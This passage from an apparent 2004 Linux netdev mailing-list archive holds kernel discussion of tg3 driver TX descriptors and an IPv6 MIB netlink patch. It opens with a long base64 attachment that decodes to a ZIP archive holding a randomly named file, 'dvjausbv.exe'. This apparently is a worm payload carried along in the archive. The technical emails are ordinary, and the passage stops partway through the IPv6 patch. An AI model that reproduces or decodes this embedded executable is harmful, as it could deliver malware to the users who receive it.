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 7A8FAAAA ----------lmeeecmoibaytheqgdag-- From mchan@broadcom.com Wed May 26 10:43:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 10:43:29 -0700 (PDT) Received: from mms1.broadcom.com (mms1.broadcom.com [63.70.210.58]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QHhMgi005457 for ; Wed, 26 May 2004 10:43:23 -0700 Received: from 63.70.210.1 by mms1.broadcom.com with ESMTP (Broadcom SMTP Relay (MMS v5.6.0)); Wed, 26 May 2004 10:43:11 -0700 X-Server-Uuid: 97B92932-364A-4474-92D6-5CFE9C59AD14 Received: from nt-irva-0741.brcm.ad.broadcom.com ( nt-irva-0741.brcm.ad.broadcom.com [10.8.194.54]) by mon-irva-11.broadcom.com (8.9.1/8.9.1) with ESMTP id KAA26385; Wed, 26 May 2004 10:42:37 -0700 (PDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Subject: RE: [PATCH] fix BUG in tg3_tx Date: Wed, 26 May 2004 10:43:10 -0700 Message-ID: Thread-Topic: [PATCH] fix BUG in tg3_tx Thread-Index: AcRDO0IT3j2IJqVKQOiSUOtmsz08ewACyIgA From: "Michael Chan" To: "Greg Banks" cc: "David S. Miller" , netdev@oss.sgi.com X-WSS-ID: 6CAA08A52QW1028268-01-01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4QHhMgi005457 X-archive-position: 5348 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mchan@broadcom.com Precedence: bulk X-list: netdev > On a related note, is there a good reason why the tg3 driver > uses the on-chip SRAM send ring by default instead of the > host send ring? This seems like it would dramatically > increase the PIO load on the chipset for some of the > workloads I'm interested in. > I can only speak for the Broadcom bcm5700 driver. We used to use NIC send BDs by default before zero copy transmit and TSO were implemented in the kernel. Using only one BD per packet at that time, we found that performance on some machines were sometimes slightly better. Especially with logic to save some PIO when some of the fields in the BD have not changed. The driver has now been changed to use host send BDs to perform better with zero copy and especially TSO where you may need many BDs per packet. I would recommend tg3 to make the switch also. Michael From davem@redhat.com Wed May 26 11:02:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 11:02:12 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QI29gi006158 for ; Wed, 26 May 2004 11:02:10 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QI23i5020877; Wed, 26 May 2004 14:02:03 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QI23015217; Wed, 26 May 2004 14:02:03 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QI1whk007133; Wed, 26 May 2004 14:01:58 -0400 Date: Wed, 26 May 2004 11:01:21 -0700 From: "David S. Miller" To: Greg Banks Cc: mchan@broadcom.com, netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-Id: <20040526110121.657f2d42.davem@redhat.com> In-Reply-To: <20040526160443.GD4557@sgi.com> References: <20040526160443.GD4557@sgi.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5349 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 27 May 2004 02:04:43 +1000 Greg Banks wrote: > On a related note, is there a good reason why the tg3 driver uses > the on-chip SRAM send ring by default instead of the host send ring? > This seems like it would dramatically increase the PIO load on the > chipset for some of the workloads I'm interested in. Good question. It actually results in better performance to use PIOs to the chip to write the TXD descriptors. You may be skeptical about this but it cannot be denied that it does result in lower latency as we don't have to wait for the chip to do it's next prefetch and _furthermore_ this means that no CPU cache lines will bounce from cpu-->device in order to get the descriptors to the chip. From davem@redhat.com Wed May 26 11:48:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 11:48:07 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QIm0gi007532 for ; Wed, 26 May 2004 11:48:01 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QIlui5001145; Wed, 26 May 2004 14:47:56 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QIlu030011; Wed, 26 May 2004 14:47:56 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QIlphk029422; Wed, 26 May 2004 14:47:51 -0400 Date: Wed, 26 May 2004 11:47:14 -0700 From: "David S. Miller" To: "Michael Chan" Cc: gnb@sgi.com, netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-Id: <20040526114714.23fcf37d.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5350 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 26 May 2004 10:43:10 -0700 "Michael Chan" wrote: > I would recommend tg3 to make the switch also. Ok, I'll make it use DMA tx descriptors by default. The checking for cases where we can't do on-chip TX desciptors I'll keep around (albeit commented out) just in case we allow this again in the future. # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/05/26 11:46:50-07:00 davem@nuts.davemloft.net # [TG3]: Use HOST TXDs always. # # drivers/net/tg3.c # 2004/05/26 11:46:42-07:00 davem@nuts.davemloft.net +9 -0 # [TG3]: Use HOST TXDs always. # diff -Nru a/drivers/net/tg3.c b/drivers/net/tg3.c --- a/drivers/net/tg3.c 2004-05-26 11:46:57 -07:00 +++ b/drivers/net/tg3.c 2004-05-26 11:46:57 -07:00 @@ -7534,6 +7534,14 @@ udelay(50); tg3_nvram_init(tp); + /* Always use host TXDs, it performs better in particular + * with multi-frag packets. The tests below are kept here + * as documentation should we change this decision again + * in the future. + */ + tp->tg3_flags |= TG3_FLAG_HOST_TXDS; + +#if 0 /* Determine if TX descriptors will reside in * main memory or in the chip SRAM. */ @@ -7541,6 +7549,7 @@ GET_ASIC_REV(tp->pci_chip_rev_id) == ASIC_REV_5705 || GET_ASIC_REV(tp->pci_chip_rev_id) == ASIC_REV_5750) tp->tg3_flags |= TG3_FLAG_HOST_TXDS; +#endif grc_misc_cfg = tr32(GRC_MISC_CFG); grc_misc_cfg &= GRC_MISC_CFG_BOARD_ID_MASK; From mashirle@us.ibm.com Wed May 26 13:10:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:10:37 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKALgi012412 for ; Wed, 26 May 2004 13:10:28 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QKA5Ab502474; Wed, 26 May 2004 16:10:05 -0400 Received: from DYN318263BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QK9wY4342526; Wed, 26 May 2004 14:09:59 -0600 From: Shirley Ma To: davem@redhat.com Subject: [PATCH]Add new IPv6 MIBs counters support through netlink Date: Wed, 26 May 2004 13:10:05 -0700 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org, xma@us.ibm.com References: <200403311326.43647.mashirle@us.ibm.com> In-Reply-To: <200403311326.43647.mashirle@us.ibm.com> MIME-Version: 1.0 Message-Id: <200405261308.54281.mashirle@us.ibm.com> Content-Type: Multipart/Mixed; boundary="Boundary-00=_dmPtAWGpT6TwdRU" X-archive-position: 5351 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev --Boundary-00=_dmPtAWGpT6TwdRU Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit Content-Disposition: inline This patch implements both per interface and global new IPv6 MIBs counters through netlink based on new IP MIBs draft, 64 bit counters are not supported here because of performance issues. It coexists old IPv6 MIBs counters (which are through proc file system) for the compatibility. This patch is against 2.6.6 kernel. It has been tested for IPv6. Please review it. --Boundary-00=_dmPtAWGpT6TwdRU Content-Type: text/x-diff; charset="iso-2022-jp"; name="linux-2.6.6-newmibs.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.6-newmibs.patch" diff -urN linux-2.6.6/include/linux/rtnetlink.h linux-2.6.6-newmibs/include/linux/rtnetlink.h --- linux-2.6.6/include/linux/rtnetlink.h 2004-05-09 19:33:13.000000000 -0700 +++ linux-2.6.6-newmibs/include/linux/rtnetlink.h 2004-05-26 12:05:39.000000000 -0700 @@ -44,6 +44,9 @@ #define RTM_DELTFILTER (RTM_BASE+29) #define RTM_GETTFILTER (RTM_BASE+30) +#define RTM_NEWIPSTATS (RTM_BASE+32) +#define RTM_GETIPSTATS (RTM_BASE+34) + #define RTM_NEWPREFIX (RTM_BASE+36) #define RTM_GETPREFIX (RTM_BASE+38) @@ -637,6 +640,23 @@ #define TCA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct tcmsg)))) #define TCA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct tcmsg)) +/******************************************************************** + * IP mibs information + ****/ +struct ipstatsmsg +{ + int ipstats_family; + int ipstats_ifindex; +}; + +enum +{ + IPSTATS_IFNAME, + IPSTATS_COUNTERS, +}; + +#define IPSTATS_MAX IPSTATS_COUNTERS + /* SUMMARY: maximal rtattr understood by kernel */ diff -urN linux-2.6.6/include/net/if_inet6.h linux-2.6.6-newmibs/include/net/if_inet6.h --- linux-2.6.6/include/net/if_inet6.h 2004-05-09 19:33:20.000000000 -0700 +++ linux-2.6.6-newmibs/include/net/if_inet6.h 2004-05-26 12:05:39.000000000 -0700 @@ -149,6 +149,7 @@ struct ipv6_devstat { struct proc_dir_entry *proc_dir_entry; DEFINE_SNMP_STAT(struct icmpv6_mib, icmpv6); + DEFINE_SNMP_STAT(struct ip_stats, ipv6); }; struct inet6_dev diff -urN linux-2.6.6/include/net/ipv6.h linux-2.6.6-newmibs/include/net/ipv6.h --- linux-2.6.6/include/net/ipv6.h 2004-05-09 19:33:13.000000000 -0700 +++ linux-2.6.6-newmibs/include/net/ipv6.h 2004-05-26 12:05:39.000000000 -0700 @@ -116,6 +116,44 @@ #define IP6_INC_STATS_BH(field) SNMP_INC_STATS_BH(ipv6_statistics, field) #define IP6_INC_STATS_USER(field) 